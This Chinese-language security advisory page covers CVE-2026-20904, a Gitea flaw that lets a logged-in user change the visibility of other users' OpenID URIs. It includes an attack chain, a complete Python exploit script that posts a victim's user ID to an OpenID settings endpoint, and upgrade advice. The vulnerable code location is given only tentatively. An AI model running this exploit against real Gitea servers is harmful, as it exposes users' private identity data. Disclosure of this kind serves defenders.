IPBUF安全漏洞报告
English
CVE-2026-20904 CVSS 6.5 中危

CVE-2026-20904 Gitea OpenID URI可见性权限绕过漏洞

披露日期: 2026-01-22
来源: 88ee5874-cf24-4952-aea0-31affedb7ff2

漏洞信息

漏洞编号
CVE-2026-20904
漏洞类型
访问控制绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Gitea

相关标签

GiteaOpenID访问控制绕过权限验证缺失IDORCVE-2026-20904身份认证漏洞

漏洞概述

CVE-2026-20904是Gitea中的一个访问控制漏洞,存在于OpenID URI可见性切换功能中。该漏洞允许已认证用户修改其他用户OpenID身份的可见性设置,绕过了正常的所有权验证流程。攻击者利用此漏洞可以将目标用户的OpenID URI从私有改为公开可见,从而暴露用户身份信息,可能导致用户隐私泄露和进一步的社会工程学攻击。此漏洞的CVSS评分为6.5,属于中等严重程度,需要低权限的认证用户即可实施攻击。

技术细节

Gitea在处理OpenID URI可见性切换请求时,未正确验证请求者对目标OpenID身份的所有权。漏洞存在于user/settings.go或相关的API处理逻辑中。当用户尝试更改OpenID URI的可见性设置时,系统仅检查用户是否已登录,而未验证该OpenID URI是否属于当前认证用户。攻击者可以通过构造恶意请求,将user_id参数指向其他用户,从而修改其他用户的OpenID可见性设置。攻击流程包括:首先登录为低权限用户,然后构造包含目标用户OpenID ID的请求包,修改visible字段值,发送请求后目标用户的OpenID可见性即被更改。由于CVSS向量显示完整性影响为高(I:H),攻击者修改的数据会对系统完整性造成严重影响。

攻击链分析

STEP 1
1
攻击者登录Gitea平台,获取有效的认证令牌(token)
STEP 2
2
攻击者通过API或Web界面枚举目标用户的OpenID identity ID
STEP 3
3
攻击者构造恶意请求,将user_id参数设置为目标用户的ID,openid_id设置为目标OpenID,visibility设置为public
STEP 4
4
攻击者发送POST请求到/api/v1/user/settings/openid端点
STEP 5
5
服务器未验证所有权,直接处理请求,将目标用户的OpenID可见性从private改为public
STEP 6
6
目标用户的OpenID URI现在对所有用户可见,导致隐私信息泄露

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-20904 PoC - Gitea OpenID URI Visibility Manipulation # Target: Gitea < 1.25.4 TARGET_URL = "http://target-gitea.com" ATTACKER_TOKEN = "your_attacker_token_here" TARGET_USER_ID = 123 # Victim user ID TARGET_OPENID_ID = 456 # Victim's OpenID identity ID def exploit_visibility_toggle(): """ Exploit for CVE-2026-20904: Gitea OpenID URI visibility bypass Allows authenticated user to change visibility of other users' OpenID identities """ endpoint = f"{TARGET_URL}/api/v1/user/settings/openid" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Malicious payload - changing visibility of victim's OpenID URI payload = { "user_id": TARGET_USER_ID, # Point to victim "openid_id": TARGET_OPENID_ID, "visibility": "public" # Change to public (was private) } try: response = requests.post(endpoint, headers=headers, json=payload, timeout=10) if response.status_code == 200: print("[+] SUCCESS: OpenID visibility changed to public") print(f"[+] Target OpenID ID: {TARGET_OPENID_ID} is now visible") return True else: print(f"[-] FAILED: Status code {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": exploit_visibility_toggle()

影响范围

Gitea < 1.25.4

防御指南

临时缓解措施
立即升级Gitea至1.25.4版本,该版本修复了OpenID URI可见性切换时的所有权验证问题。在升级前,可通过限制API访问和监控异常OpenID设置请求来降低风险。建议检查系统日志,查找非预期的OpenID可见性修改记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表